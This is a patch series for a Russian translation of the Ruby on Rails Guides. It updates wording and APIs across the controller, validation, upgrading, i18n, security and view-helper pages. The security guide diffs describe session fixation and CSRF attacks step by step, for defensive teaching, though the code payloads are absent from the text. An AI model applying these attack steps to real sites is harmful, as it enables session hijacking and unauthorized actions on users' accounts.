Response ------------------------------------------------------------- -В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на исполнении. Метод `request` содержит экземпляр `AbstractRequest`, а метод `response` возвращает объект отклика, представляющий то, что собирается быть отправлено обратно на клиента. +В каждом контроллере есть два accessor-метода, указывающих на объекты запроса и отклика, связанные с циклом запроса, находящегося в текущее время на исполнении. Метод `request` содержит экземпляр `ActionDispatch::Request`, а метод `response` возвращает объект отклика, представляющий то, что собирается быть отправлено обратно на клиента. ### Объект `request` @@ -954,7 +954,7 @@ end Вышеприведенный код будет поддерживать постоянное соединение с браузером, и пошлет 100 сообщений `"hello world\n"`, раз в секунду каждое. -В вышеприведенном примере нужно обратить внимание на ряд вещей. Необходимо убедиться, что потоковый отклик будет закрыт. Если забыть закрыть, поток оставит навсегда открытым сокет. Также необходимо установить тип содержимого `text/event-stream` до записи в поток отклика. Это так, потому что заголовки не могут быть записаны после того, как отклик был подтвержден (когда `response.committed` возвращает истинное значение), что случается, когда вы вызывает `write` или `commit` для потокового отклика. +В вышеприведенном примере нужно обратить внимание на ряд вещей. Необходимо убедиться, что потоковый отклик будет закрыт. Если забыть закрыть, поток оставит навсегда открытым сокет. Также необходимо установить тип содержимого `text/event-stream` до записи в поток отклика. Это так, потому что заголовки не могут быть записаны после того, как отклик был подтвержден (когда `response.committed?` возвращает истинное значение), что случается, когда вы вызывает `write` или `commit` для потокового отклика. #### Пример использования @@ -1029,7 +1029,7 @@ config.filter_redirect.concat ['s3.amazonaws.com', /private_path/] ### Дефолтные шаблоны 500 и 404 -По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке. Эти сообщения содержатся в статичных файлах HTML в папке `public`, в `404.html` и `500.html` соответственно. Можете настроить эти файлы, добавив дополнительную информацию и разметку, но помните, что они статичны; т.е. нельзя использовать `RHTML` или макеты в них, только чистый `HTML`. +По умолчанию приложение в среде production будет рендерить или 404, или 500 сообщение об ошибке. Эти сообщения содержатся в статичных файлах HTML в папке `public`, в `404.html` и `500.html` соответственно. Можете настроить эти файлы, добавив дополнительную информацию и стили, но помните, что они статичны; т.е. нельзя использовать ERB, SCSS, CoffeeScript или макеты для них. ### `rescue_from` diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 165b0965..ef46b4d9 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -174,7 +174,7 @@ end >> person = Person.new >> person.valid? ->> person.errors.details[:name] #=> [{error: :blank}] +>> person.errors.details[:name] # => [{error: :blank}] ``` Использование `details` с собственным валидатором раскрыто в разделе [Работаем с ошибками валидации](#working-with-validation-errors). diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 29c3684c..cb8e5abd 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -1839,15 +1839,15 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. ```ruby "2010-07-27".to_date # => Tue, 27 Jul 2010 -"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010 +"2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200 "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 ``` `to_time` получает необязательный аргумент `:utc` или `:local`, для указания, в какой временной зоне вы хотите время: ```ruby -"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010 -"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010 +"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC +"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 ``` По умолчанию `:utc`. diff --git a/source/command_line.md b/source/command_line.md index 2fe7a3f4..9a8b4888 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -405,7 +405,7 @@ Ruby version 2.2.2 (x86_64-linux) RubyGems version 2.4.6 Rack version 1.6 JavaScript Runtime Node.js (V8) -Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag +Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 diff --git a/source/index.yml b/source/index.yml index 59e00be4..e9474f28 100644 --- a/source/index.yml +++ b/source/index.yml @@ -33,8 +33,8 @@ pages: - title: Валидации Active Record path: active-record-validations file: active_record_validations.md - revision: 29886d93048a4719872e228894559b477f87a278 - date: 15/09/2015 + revision: ccbf1597b793e8de11b2cd19dd18f18d0b0b2182 + date: 19/09/2015 - title: Колбэки Active Record path: active-record-callbacks @@ -87,8 +87,8 @@ pages: - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: 10c73386ae21102334af6827b70e7e344a167a5b - date: 23/08/2015 + revision: 119f38f7954bfd804435d4d60bc2bc61a4e86ade + date: 18/09/2015 - title: Роутинг в Rails path: rails-routing @@ -99,8 +99,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: bc36ffeec05692777f4ece09978a321feed2d818 - date: 24/08/2015 + revision: a2f78cb947c8f25bcb450e548c77040b5d1c1f04 + date: 20/09/2015 - title: Инструметарий Active Support path: active-support-instrumentation @@ -129,8 +129,8 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: c7cc81d21171f85aee367adffa97b98e81c60cbd - date: 05/09/2015 + revision: 495722a95687e25114ae75608dd3107ac5d6611b + date: 07/10/2015 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide @@ -153,8 +153,8 @@ pages: - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md - revision: ab360318cfdb9beb6ebfd98e470e6a5588e074b8 - date: 10/08/2015 + revision: 24f9c03d52ad4c7f081cc7a9561946109b3ad500 + date: 04/10/2015 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview @@ -195,8 +195,8 @@ pages: - title: Основы создания плагинов Rails path: plugins file: plugins.md - revision: 71dcc40a2c0c7417cda97204a054b9f804b74759 - date: 09/03/2015 + revision: c98fd2512044c388f94c45015ea0570e862af483 + date: 28/08/2015 - title: Rails on Rack path: rails-on-rack diff --git a/source/plugins.md b/source/plugins.md index 4230d4af..711ac74a 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -419,4 +419,3 @@ $ bundle exec rake rdoc * [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) * [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) * [Gemspec Reference](http://guides.rubygems.org/specification-reference/) -* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins) From 9bfa282443fd2fb9c519ae460d9cc92445aadfee Mon Sep 17 00:00:00 2001 From: Grachev Mikhail Date: Fri, 6 Nov 2015 20:29:10 +0300 Subject: [PATCH 123/932] Update i18n.md --- source/i18n.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/i18n.md b/source/i18n.md index b6d89c41..62cfdf73 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -743,7 +743,7 @@ NOTE: Автоматическое преобразование в HTML-безо ### Переводы для моделей Active Record -Можете использовать методы `Model.human_name` и `Model.human_attribute_name(attribute)` для прозрачного поиска переводов для ваших моделей и имен атрибутов. +Можете использовать методы `Model.model_name.human` и `Model.human_attribute_name(attribute)` для прозрачного поиска переводов для ваших моделей и имен атрибутов. Например, когда добавляем следующие переводы: From a37764235909b7983abd5c4ece79ae588a22683b Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 22 Nov 2015 13:27:29 +0300 Subject: [PATCH 124/932] upgrade upgrading guide --- .yaspellerrc | 3 +- source/index.yml | 4 +- source/upgrading_ruby_on_rails.md | 89 ++++++++++++++++++++++++++----- 3 files changed, 81 insertions(+), 15 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 47cc518d..55974731 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -34,8 +34,9 @@ "валидационн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "валидир(ует|уют|уете|овать)(ся|)", "верхнеуровнев(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", - "вьюх(а|е|и|у|ах|ами|)", + "виджет(ы|а|ов|у|ам|е|ах|)", "воркер(а|е|у|ы|ах|ов|ом|ами|)", + "вьюх(а|е|и|у|ах|ами|)", "гендер(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "геокодер(а|е|у|ы|ах|ов|ом|ами|)", "геолокаци(и|ю|я|ей)", diff --git a/source/index.yml b/source/index.yml index e9474f28..1d393cf4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -243,8 +243,8 @@ pages: - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: 2ce3e9e8725f0593bf22b4990bec99a6b46d69b9 - date: 18/12/2014 + revision: b7f547e64aea0edaf3ebfb936e3bbfbb9f3e7a24 + date: 05/11/2015 - title: Заметки о релизе Ruby on Rails 3.0 path: 3_0_release_notes diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 80b199c6..b47a092a 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -16,9 +16,10 @@ В основном Rails использует последние выпущенные версии Ruby: -* Rails 3 и выше требует Ruby 1.8.7 или выше. Поддержка всех прежних версий Ruby была официально прекращена. Следует обновиться как можно быстрее. -* Rails 3.2.x это последняя ветка с поддержкой Ruby 1.8.7. +* Rails 5 требует Ruby 2.2.2 или новее. * Rails 4 предпочитает Ruby 2.0 и требует Ruby 1.9.3 или новее. +* Rails 3.2.x это последняя ветка с поддержкой Ruby 1.8.7. +* Rails 3 и выше требует Ruby 1.8.7 или выше. Поддержка всех прежних версий Ruby была официально прекращена. Следует обновиться как можно быстрее. TIP: В Ruby 1.8.7 p248 и p249 имеются ошибки маршализации, ломающие Rails. Хотя в Ruby Enterprise Edition это было исправлено, начиная с релиза 1.8.7-2010.02. В ветке 1.9, Ruby 1.9.1 не пригоден к использованию, поскольку он иногда вылетает, поэтому, если хотите использовать 1.9.x перепрыгивайте сразу на 1.9.3 для гладкой работы. @@ -42,9 +43,42 @@ Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh] Не забывайте просматривать разницу, чтобы увидеть какие-либо неожидаемые изменения. -(Upgrading from Rails 4.1 to Rails 4.2) Обновление с Rails 4.1 на Rails 4.2 +(Upgrading from Rails 4.2 to Rails 5.0) Обновление с Rails 4.2 на Rails 5.0 --------------------------------------------------------------------------- +### Прерывание цепочек колбэков, возвращая `false` + +В Rails 4.2 в Active Record и Active Model, когда колбэк 'before' возвращает `false`, вся цепочка цепочка колбэков прерывалась. Другими словами, последующие колбэки 'before' не выполнялись, как и действие, обернутое в колбэки. + +В Rails 5.0, возврат `false` колбэком Active Record или Active Model не будет иметь этого побочного эффекта прерывания цепочки колбэков. Вместо этого, цепочки колбэков должны быть явно прерваны вызовом `throw(:abort)`. + +При обновлении с Rails 4.2 на Rails 5.0, возврат `false` в этих типах колбэков все еще будет прерывать цепочку колбэков, но вы получите предостережение об устаревании об этом грядущем изменении. + +Когда вы будете готовы, можно переключиться на новое поведение и убрать предостережение об устаревании, добавив следующую конфигурацию в `config/application.rb`: + + ActiveSupport.halt_callback_chains_on_return_false = false + +Отметим, что эта опция не влияет на колбэки Active Support, так как они никогда не прерывались в зависимости от возвращаемого значения. + +За подробностями обратитесь к [#17227](https://github.com/rails/rails/pull/17227). + +### ActiveJob теперь по умолчанию наследуется от ApplicationJob + +В Rails 4.2 ActiveJob наследуется от `ActiveJob::Base`. В Rails 5.0 это поведение было изменено на наследование от `ApplicationJob`. + +При обновлении с Rails 4.2 на Rails 5.0 необходимо создать файл `application_job.rb` в `app/jobs/` со следующим содержимым: + +``` +class ApplicationJob < ActiveJob::Base +end +``` + +Затем убедитесь, что все классы задач наследуются от него. + +За подробностями обратитесь к [#19034](https://github.com/rails/rails/pull/19034). + +(Upgrading from Rails 4.1 to Rails 4.2) Обновление с Rails 4.1 на Rails 4.2 +--------------------------------------------------------------------------- ### Web Console @@ -207,14 +241,26 @@ class Notifier < ActionMailer::Base end ``` +### Поддержка внешних ключей + +DSL миграций был расширен поддержкой определений внешнего ключа. Если вы использовали гем Foreigner, рассмотрите его удаление. Отметьте, что поддержка внешних ключей в Rails это подмножество Foreigner. Это означает, что не каждое определение Foreigner может быть полностью заменено его аналогом DSL миграций Rails. + +Процедура миграции следующая: + +1. убрать `gem "foreigner"` из Gemfile. +2. запустить `bundle install`. +3. запустить `bin/rake db:schema:dump`. +4. убедиться, что `db/schema.rb` содержит каждое определение внешнего ключа с необходимыми опциями. + + (upgrading-from-rails-4-0-to-rails-4-1) Обновление с Rails 4.0 на Rails 4.1 --------------------------------------------------------------------------- ### Защита CSRF от внешних тегов ``. Про XSS и инъекции будет написано позже. -* Злоумышленник заманивает жертву на зараженную страницу с кодом JavaScript. Просмотрев эту страницу, браузер жертвы изменит id сессии на id сессии-ловушки. +* Злоумышленник принуждает браузер пользователя использовать этот ID сессии (смотрите номер 3 на изображении). Поскольку нельзя изменить куки другого домена (из-за политики общего происхождения), злоумышленник должен запустить JavaScript из домена целевого веб приложения. Инъекция кода JavaScript в приложение с помощью XSS завершает эту атаку. Вот пример: ``. Про XSS и инъекции будет написано позже. +* Злоумышленник заманивает жертву на зараженную страницу с кодом JavaScript. Просмотрев эту страницу, браузер жертвы изменит ID сессии на ID сессии-ловушки. * Так как новая сессия-ловушка не использовалась, веб приложение затребует аутентификации пользователя. * С этого момента жертва и злоумышленник будут совместно использовать веб приложение с одинаковой сессией: сессия станет валидной и жертва не будет уведомлена об атаке. @@ -145,7 +147,7 @@ TIP: _Одна строка кода защитит вас от фиксации reset_session ``` -Если используете популярный плагин RestfulAuthentication для управления пользователями, добавьте reset_session в экшн SessionsController#create. Отметьте, что это удалит любые значения из сессии, _поэтому необходимо передать их в новую сессию_. +Если используете популярный гем [Devise](https://rubygems.org/gems/devise) для управления пользователями, он автоматически оканчивает сессии при входе и выходе. Если вы пишете управление пользователями сами, не забудьте окончить сессию после экшна входа (когда создается сессия). Это удалит любые значения из сессии, _поэтому необходимо передать их в новую сессию_. Другой контрмерой является _сохранение специфичных для пользователя свойств в сессии_, проверка их каждый раз с входящим запросом и запрет доступа, если информация не соответствует. Такими свойствами могут быть удаленный адрес IP или агент пользователя (имя веб браузера), хотя последний менее специфичен. При сохранении адреса IP вы должны понимать, что имеется большое количество интернет провайдеров или больших организаций, размещающих своих пользователей за прокси. _Адрес может меняться в течении сессии_, поэтому такие пользователи не смогут использовать ваше приложение, либо только с ограничениями. @@ -153,10 +155,10 @@ reset_session NOTE: _Сессии, которые не имеют время жизни, растягивают временной период для атак, таких как подделка межсайтовых запросов (CSRF), похищение сессии и фиксация сессии._ -Один из способов - это установить временную метку окончания куки с id сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. +Один из способов - это установить временную метку окончания куки с ID сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. ```ruby -class Session < ActiveRecord::Base +class Session < ApplicationRecord def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } @@ -181,11 +183,11 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR ![csrf](/images/csrf.png) -В [главе про сессии](#sessions) мы узнали, что большинство приложений на Rails используют сессии, основанные на куки. Либо они хранят id сессии в куки и имеют хэш сессии на сервере, либо весь хэш сессии на клиенте. В любом случае, браузер автоматически пошлет куки с каждым запросом к домену, если он найдет куки для этого домена. Спорный момент в том, что он также пошлет куки, если запрос идет с сайта другого домена. Давайте рассмотрим пример: +В [главе про сессии](#sessions) мы узнали, что большинство приложений на Rails используют сессии, основанные на куки. Либо они хранят ID сессии в куки и имеют хэш сессии на сервере, либо весь хэш сессии на клиенте. В любом случае, браузер автоматически пошлет куки с каждым запросом к домену, если он найдет куки для этого домена. Спорный момент в том, что он также пошлет куки, если запрос идет с сайта другого домена. Давайте рассмотрим пример: * Bob просматривает доску объявлений и смотрит публикацию от хакера, в котором имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob-а по управлению проектами, а не на файл изображения: `` * Сессия Bob-а на `www.webapp.com` все еще действующая, так как он работал с сайтом несколько минут назад. -* Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта `www.webapp.com`. Как уже объяснялось, он также посылает куки с валидным id сессии. +* Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта `www.webapp.com`. Как уже объяснялось, он также посылает куки с валидным ID сессии. * Веб приложение `www.webapp.com` подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение. * Bob не уведомляется об атаке - но несколько дней спустя он обнаруживает, что проекта номер один больше нет. @@ -211,7 +213,7 @@ NOTE: _Во-первых, как это требуется W3C, использу Если Ваше приложение является RESTful, можете использовать дополнительные методы HTTP, такие как PATCH, PUT или DELETE. Однако, большинство современных веб браузеров не поддерживают их - только GET и POST. Rails использует скрытое поле `_method` для преодоления этого препятствия. -_Запросы POST также могут быть посланы автоматически_. Вот пример для ссылки, которая отображает `www.harmless.com` как назначение в статус баре браузера. Фактически она динамически создает новую форму, посылающую запрос POST. +_Запросы POST также могут быть посланы автоматически_. В этом примере, ссылка `www.harmless.com` показывается как назначение в статус-баре браузера. Но фактически она динамически создает новую форму, посылающую запрос POST. ```html
``` -Имеется множество других возможностей, наподобие использования тега ` @@ -460,7 +460,7 @@ javascript_include_tag :defaults javascript_include_tag :all ``` -Также можно кэшировать несколько файлов JavaScript в один файл, что требует меньше соединений HTTP для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена true (по умолчанию для окружения production, но не для development). +Также можно кэшировать несколько файлов JavaScript в один файл, что требует меньше HTTP-соединений для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена в true (по умолчанию для окружения production, но не для development). ```ruby javascript_include_tag :all, cache: true # => @@ -469,7 +469,7 @@ javascript_include_tag :all, cache: true # => #### javascript_path -Вычисляет путь до ресурса JavaScript в директории `app/assets/javascripts`. Если у имени файла источника нет расширения, будет добавлено `.js`. Будут переданы полные пути от корня документа. Используется внутренне `javascript_include_tag` для создания пути к скрипту. +Вычисляет путь до ресурса JavaScript в директории `app/assets/javascripts`. Если у имени файла источника нет расширения, будет добавлено `.js`. Будут переданы полные пути от корня документа. Используется внутри `javascript_include_tag` для создания пути к скрипту. ```ruby javascript_path "common" # => /assets/common.js @@ -477,7 +477,7 @@ javascript_path "common" # => /assets/common.js #### javascript_url -Вычисляет URL ресурса JavaScript в директории `app/assets/javascripts`. Он вызовет `javascript_path` и соединит с вашим текущим хостом или хостом ресурсов. +Вычисляет URL ресурса JavaScript в директории `app/assets/javascripts`. Он вызовет `javascript_path` и соединит с вашим текущим хостом или вашим хостом ресурсов. ```ruby javascript_url "common" # => http://www.example.com/assets/common.js @@ -485,19 +485,19 @@ javascript_url "common" # => http://www.example.com/assets/common.js #### stylesheet_link_tag -Возвращает тег ссылки на таблицу стилей для каждого представленного источника. Если не указать расширение, автоматически будет добавлено `.css`. +Возвращает тег link на таблицу стилей для источников, указанных в качестве аргументов. Если не указать расширение, автоматически будет добавлено `.css`. ```ruby stylesheet_link_tag "application" # => ``` -Также можно включить все стили из директории стилей, используя `:all` в качестве источника: +Также можно включить все стили из директории таблиц стилей, используя `:all` в качестве источника: ```ruby stylesheet_link_tag :all ``` -Также можно кэшировать несколько таблиц стилей в один файл, что требует меньше соединений HTTP для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена true (по умолчанию для окружения production, но не для development). +Также можно кэшировать несколько таблиц стилей в один файл, что требует меньше HTTP-соединений для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена в true (по умолчанию для окружения production, но не для development). ```ruby stylesheet_link_tag :all, cache: true @@ -506,7 +506,7 @@ stylesheet_link_tag :all, cache: true #### stylesheet_path -Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутренне `stylesheet_link_tag` для создания пути к таблице стилей. +Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутри `stylesheet_link_tag` для создания пути к таблице стилей. ```ruby stylesheet_path "application" # => /assets/application.css @@ -514,7 +514,7 @@ stylesheet_path "application" # => /assets/application.css #### stylesheet_url -Вычисляет URL ресурса таблицы стилей в директории `app/assets/stylesheets`. Он вызовет `stylesheet_path` и соединит с вашим текущим хостом или хостом ресурсов. +Вычисляет URL ресурса таблицы стилей в директории `app/assets/stylesheets`. Он вызовет `stylesheet_path` и соединит с вашим текущим хостом или вашим хостом ресурсов. ```ruby stylesheet_url "application" # => http://www.example.com/assets/application.css @@ -583,7 +583,7 @@ end #### cache -Метод для кэширования фрагмента вьюхи, в отличие от целого экшна или страницы. Эта техника полезна для кэширования кусочков, таких как меню, списки заголовков, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `AbstractController::Caching::Fragments`. +Метод для кэширования фрагмента вьюхи, а не всего экшна или страницы. Эта техника полезна для кэширования таких кусочков, как меню, списки заголовков новостей, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `AbstractController::Caching::Fragments`. ```erb <% cache do %> @@ -618,9 +618,9 @@ end #### content_for -Вызов `content_for` сохраняет блок разметки как идентификатор для дальнейшего использования. Можно сделать последующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. +Вызов `content_for` хранит блок разметки как идентификатор для дальнейшего использования. Можно совершать последующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. -Например, допустим у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется на остальном сайте. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. +Например, допустим у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется в остальных частях сайта. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. **app/views/layouts/application.html.erb** @@ -666,7 +666,7 @@ datetime_select("article", "published_on") #### distance_of_time_in_words -Возвращает приблизительный промежуток времени между двумя объектами Time или Date или числами-секундами. Установите `include_seconds` в true, если хотите более детальное приближение. +Возвращает приблизительный промежуток времени между двумя объектами Time или Date, или целыми числами в секундах. Установите `include_seconds` в true, если хотите более детальное приближение. ```ruby distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute @@ -675,31 +675,31 @@ distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true #### select_date -Возвращает набор тегов HTML select (по одному для года, месяца и дня), предзаполненных предоставленной `date`. +Возвращает набор HTML-тегов select (по одному для года, месяца и дня), предзаполненных предоставленной `date`. ```ruby -# Создает select для даты со предоставленной датой как значение по умолчанию (шесть дней от сегодня) +# Создает select для date, который по умолчанию соответствует предоставленной дате (шесть дней, начиная с сегодняшнего) select_date(Time.today + 6.days) -# Создает select для даты с сегодняшней датой как значение по умолчанию (без аргумента) +# Создает select для date, который по умолчанию соответствует сегодняшней дате (без аргумента) select_date() ``` #### select_datetime -Возвращает набор тегов HTML select (по одному для года, месяца, дня, часа и минуты), предзаполненных предоставленным `datetime`. +Возвращает набор HTML-тегов select (по одному для года, месяца, дня, часа и минуты), предзаполненных предоставленным `datetime`. ```ruby -# Создает select для datetime со предоставленным значением по умолчанию (четыре дня от сегодня) +# Создает select для datetime, который по умолчанию соответствует предоставленной дате (четыре дня, начиная с сегодняшнего) select_datetime(Time.now + 4.days) -# Создает select для datetime с сегодняшней датой как значение по умолчанию (без аргумента) +# Создает select для datetime, который по умолчанию соответствует сегодняшней дате (без аргумента) select_datetime() ``` #### select_day -Возвращает тег select с опциями для каждого дня с 1 до 31 с выбранным текущим днем. +Возвращает тег select с опциями для каждого дня с 1 по 31 и выбранным текущим днем. ```ruby # Создает поле select для дней с предоставленной датой как значение по умолчанию @@ -711,7 +711,7 @@ select_day(5) #### select_hour -Возвращает тег select с опциями для каждого часа с 0 до 23 с выбранным текущим часом. +Возвращает тег select с опциями для каждого часа с 0 по 23 и выбранным текущим часом. ```ruby # Создает поле select для часов с предоставленным временем как значение по умолчанию @@ -720,7 +720,7 @@ select_hour(Time.now + 6.hours) #### select_minute -Возвращает тег select с опциями для каждой минуты с 0 до 59 с выбранной текущей минутой. +Возвращает тег select с опциями для каждой минуты с 0 по 59 и выбранной текущей минутой. ```ruby # Создает поле select для минут с предоставленным временем как значение по умолчанию @@ -729,7 +729,7 @@ select_minute(Time.now + 10.minutes) #### select_month -Возвращает тег select с опциями для каждого месяца с January до December с выбранным текущим месяцем. +Возвращает тег select с опциями для каждого месяца с January по December и выбранным текущим месяцем. ```ruby # Создает поле select для месяцев с текущим месяцем как значение по умолчанию @@ -738,7 +738,7 @@ select_month(Date.today) #### select_second -Возвращает тег select с опциями для каждой секунды с 0 до 59 с выбранной текущей секундой. +Возвращает тег select с опциями для каждой секунды с 0 по 59 и выбранной текущей секундой. ```ruby # Создает поле select для секунд с предоставленным временем как значение по умолчанию @@ -762,13 +762,13 @@ select_time(Time.now) # Создает поле select для пяти лет в обе стороны от Date.today, являющаяся значением по умолчанию для текущего года select_year(Date.today) -# Создает поле select от 1900 до 2016 со значением по умолчанию текущим годом +# Создает поле select от 1900 до 2016 с текущим годом как значение по умолчанию select_year(Date.today, start_year: 1900, end_year: 2016) ``` #### time_ago_in_words -Подобен `distance_of_time_in_words`, где `to_time` установлен `Time.now`. +Подобен `distance_of_time_in_words`, где `to_time` устанавливается `Time.now`. ```ruby time_ago_in_words(3.minutes.from_now) # => 3 minutes @@ -776,16 +776,16 @@ time_ago_in_words(3.minutes.from_now) # => 3 minutes #### time_select -Возвращает набор тегов select (по одному для часа, минуты и, опционально, секунды), предзаполненных для доступа к определенному атрибуту времени. Селекты подготовлены к многопараметровому назначению в объекте Active Record. +Возвращает набор тегов select (по одному для часа, минуты и, опционально, секунды), предзаполненных для доступа к определенному атрибуту времени. Этот набор подготовлен для назначения нескольких параметров в объекте Active Record. ```ruby -# Создает тег select для времени, который при POST будет сохранен в переменную order отправленного атрибута +# Создает тег select для времени, который при POST будет сохранен в переменную order атрибута submitted time_select("order", "submitted") ``` ### DebugHelper -Возвращает тег `pre` с объектом, выгруженным в YAML. Это создает удобочитаемый способ просмотра объекта. +Возвращает тег `pre` с объектом, выгруженным в YAML. Это создает удобочитаемый способ проверки объекта. ```ruby my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } @@ -805,9 +805,9 @@ third: ### FormHelper -Хелперы форм разработаны для более простой работы с моделями по сравнению со стандартными элементами HTML, предоставляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, предоставляя метод для каждого типа полей (например text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit вызывается в JavaScript), поля формы будут встроены в объект params и переданы в контроллер. +Хелперы форм предназначены для упрощения работы с моделями по сравнению с использованием только стандартных элементов HTML, предоставляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, предоставляя метод для каждого типа полей ввода (например text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit, вызывается в JavaScript), поля ввода формы будут объединены в объект params и переданы в контроллер. -Имеется два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер имеет дело с теми, которые работают с атрибутами; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, 